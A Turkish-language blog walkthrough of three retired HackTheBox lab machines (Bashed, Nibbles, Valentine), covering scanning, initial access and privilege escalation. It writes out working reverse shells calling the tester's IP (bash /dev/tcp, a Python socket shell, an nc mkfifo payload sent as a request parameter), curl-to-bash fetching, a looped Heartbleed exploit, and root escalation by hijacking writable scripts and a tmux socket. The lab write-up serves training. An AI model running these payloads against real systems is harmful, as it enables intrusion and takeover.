HackTheBox Günlükleri | 3 Unix Machines Walkthrough TR

Alican Kiraz
6 min readJan 24, 2021

--

Bu yazımda HackTheBox’dan birbirinden farklı priv-escalation tekniği içeren 3 emekli Unix makinenin çözümlerini ve çözüme giderken yaptığımız incelemeleri açıklayıp Sizlerle paylaşacağım;

  • Bashed
  • Nibbles
  • Valentine

1. Bashed

Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;

nmap -sC -sV -oA bashed 10.10.10.68

Çıktılara bakalım;

Nmap Çıktısı

80 Portu açık burdan Apache sürümüyle ubuntu versiyonu bulmaya çalışalım. Ayrıca 10.10.10.68’e Web’de gidip inceleyelim;

Http Web Sitesi

Şimdi dizin taralayım;

/opt/gobuster/gobuster -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Çıktılara bakalım;

GoBuster çıktısı

Tek tek bakıp dizinleri inceledik ama faydalı bir çıktı bulamadık. Burp ile araya girip bakınca da iyi bir çıktı edinemedik. Sonlara doğru /dev’e bakınca bişey yakaladık gibi;

http://10.10.10.68/dev/ içeriği

Burda phpbash.php’ye tıklayınca WebShell olduğunu gördük;

Webshell

Shell’i inceleyelim; “id” ile bakınca www-data kullanıcısı olduğumuzu gördük. Simdi içine bi Priv-check script’i atmaya çalışalım; LinEnum.sh’ı kullanalım.

Bunun için LinEnum bulunan dizinimizde bir Python Server açalım;

python -m SimpleHTTPServer 80

Şimdi erişim kurduğumuz shell’de curl ve wget’e bakalım. Wget varmış o halde çekip çalıştıralım;

wget 10.10.14.28/LinEnum.sh

bash LinEnum.sh

LinEnum Çıktılarını inceleyelim. Burda şunu gördük scriptmanager kullanıcısı şifresiz işlem yapabiliyor.

Ancak webshell den işlem yapamıyoruz. Terminal Shell’i almamız lazım. Şimdi bash reverse shell deniyelim;

Kendi makinemizde;

nc -lvnp 8081

Webshell’de;

bash -i >& /dev/tcp/10.10.14.28/8081 ->&1

Ancak düşmedi. Bu sefer /upload’a erişebildiğimizden burada dosya yaratıp reverse shell’i çağırmaya çalışalım.

Burda IP ve Port’u editleyelim;

PHP Reverse Shell hazırlayalım. Kendi makinemizde hazırladığımız php reverse shell’i yollamak üzere python server açalım;

python -m SimpleHTTPServer 80

Ve webshell’de /upload klasörüne gidelim. Sonra bu shell’i çekelim;

wget 10.10.14.28/php-reverse-shell.php

Şimdi kendi makinemizde bir dinleyici başlatalım;

nc -lvnp 8082

Ardından upload klasöründe;

10.10.10.68/php-reverse-shell.php

Ve shell geldi;

Burda shell’i rahat kullanmak için python shell yükleyelim;

python -c ‘import pty;pty.spawn(“/bin/bash”)’

Ardından LinEnum.sh atıp bulduğumuz scriptmanager kısmı sayesinde ona user olarak geçelim ;

sudo -u scriptmanager bash

Ve ls -la ile process kontrolü yaptığımızda scriptmanager’ın yetkin olduğu scripts process’ini gördük. Bu process’i editleyip bash shell’i almaya çalışalım.

Ve User aldık!

Scripts klasörüne girince iki adet dosya olduğunu gördük. Şimdi bu dosyalardan test’py’i editleme hakkımız var bizde editleyelim ve bize root yetkisinde çalıştığından root shell’i almaya çalışalım. Bunun için içerisine Python reverse shell atalım;

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.28",8083));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Ve ardından kendi makinemizde dinleyici açalım;

nc -lvnp 8083

Ardından çalıştıralım;

python test.py

Ve root olduk!

2. Nibbles

Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;

nmap -sC -sV -oA bashed 10.10.10.75

80 Portu açıkmış. Siteye girip baktık bi “ Hello world “ yazısı var sadece. O nedenle birde Burp ile araya girip bakalım. Responce bölümünde;

Kısmını gördük. Şimdi path’i ziyaret edelim.

Şimdi nibbleblog için zafiyetlere bakalım;

searchsploit nibbleblog

Burda SQL Injection’a bakalım;

searchsploit -m exploits/php/webapps/35865.txt

Ancak metasploit kullanmayalım.

Google’dan nibbleblog’un admin panelini ve default şifresini aratınca aşağıdaki bilgilere ulaştık;

Admin Page : admin.php

Default Login : admin — nibbles

Ve araştırınca dikkatimizi birde code exec çekti;

O nedele adım adım uygulayalım ve php reverse shell’i yükleyelim. PHP Shell’i yüklemek için;

“…nibbleblog/content/private/plugins/my_image/image.php “ ye gidelim.

Burada parametre olarak “?ipp” ekleyelim. Peşine Burp ile araya girip tekrar istek atınca exploit’deki gibi code exec olduğundan bizde önce kendimizde dinleyici açalım;

nc -lvnp 9001

Burp’te de request’e

ipp=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.14.27 9001 >/tmp/f

Ve Komutu da url encode edip yollayalım.

Shell aldık !

Şimdi python shell yükleyip rahat hareket edelim;

Ancak Python yok o nedenle python3 ‘e which ile bakalım. Ve var;

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Ardından root olarak kontrol edebileceğimiz uygulamalara bakalım;

sudo -l

Burda monitor.sh’ın root olarak kullanıldığı ve şifre istemediğini öğrendik. Ancak editleyemiyoruz.

O nedenle dosya yaratıp editleyebileceğimiz bir klasöre gidelim;

cd /home/nibbles

Şimdi aynı isimde dosya oluşturup içine reverse shell atalım;

echo “bash” > monitor.sh

Ardından içine girip;

#!/bin/sh

bash

Şimdi hak verip çalıştıralım;

chmod +x monitor.sh

sudo ./monitor.sh

Root Olduk !

3. Valentine

Şimdi resimleri oldukça az tutacağım çünkü ansiklopediye dönüşmeye başladı yazı :)

Ilk olarak makine de yüzeysel Nmap Script ve Versiyon taraması yapalım;

nmap -sC -sV -oA bashed 10.10.10.79

Portlardan 22, 80, 443 açık.

Nmap ile vulnerability scan yapalım;

nmap — script vuln 10.10.10.79

O sırada birde path taraması yapalım;

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.79 -t 50

O sırada nmap vuln çıktısı verdi! Heartbleed var!

Özellikle tekrar emin;

sslyze — heartbleed 10.10.10.79:443

Bingo !

“ Python hearhbleed github “ olarak aratıp script bulalım. Çalıştıralım.

https://gist.github.com/eelsivart/10174134

python hearthbleed.py 10.10.10.79

Bu sayede aradaki trafiği okuyabiliyoruz. Ondan bu komutu seri olarak çalıştırıp okuyalım;

for i in $(seq 0 100); do python heartbleed.py 10.10.10.79; done

Veya;

python heartbleed.py -n 100 10.10.10.79

Üstüste request atıp baktığımızda bi base64 var. Bunu çeviriyoruz ve çıktı;

heartbleedblievehype

Birde gobuster atalım;

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.79 -t 50

Gobuster çıktı verdi; /dev ve /omg’ye baktık dev de bir hype_key bulduk. Bunu alıp hex to ascii ile çevirdik ve RSA PRIVATE KEY çıktı.

Bunu alıp hype.key dosyası yaratıp içine atalım. Ardından;

chmod 600 hype.key

ssh -i hype.key hype@10.10.10.79 Burada şifre soruyor.

Bulduğumuz şifreyi giriyoruz ve oldu!

Shell aldık !

Ilk olarak makineye Linenum.sh atalım ve inceleyelim.

python -m SimpleHTTPServer 80

Ve webshell’de /upload klasörüne gidelim. Sonra bu shell’i çekelim;

curl 10.10.14.23:8000/LinEnum.sh | bash

Incelediğimiz de elle tutulur fazla bişey bulamadık.

Bi bash history’e ve bazı metriklere bakalım;

cat ~/.bash_history

ps -ef |grep root

Burda kendi user’ımızın bash history’sinde rastladığımız ;

/usr/bin/tmux -S /.devs/dev_sess

Detaylarına bakalım;

ls -la /.devs/dev_sess baktığımız da rw var.

Shell’e;

tmux -S /.devs/dev_sess yazınca

Root olduk!

--

--

Alican Kiraz
Alican Kiraz

Written by Alican Kiraz

Head of Cyber Defense Center @Trendyol | CSIE | CSAE | CCISO | CASP+ | OSCP | eCIR | CPENT | eWPTXv2 | eCDFP | eCTHPv2 | OSWP | CEH Master | Pentest+ | CySA+

No responses yet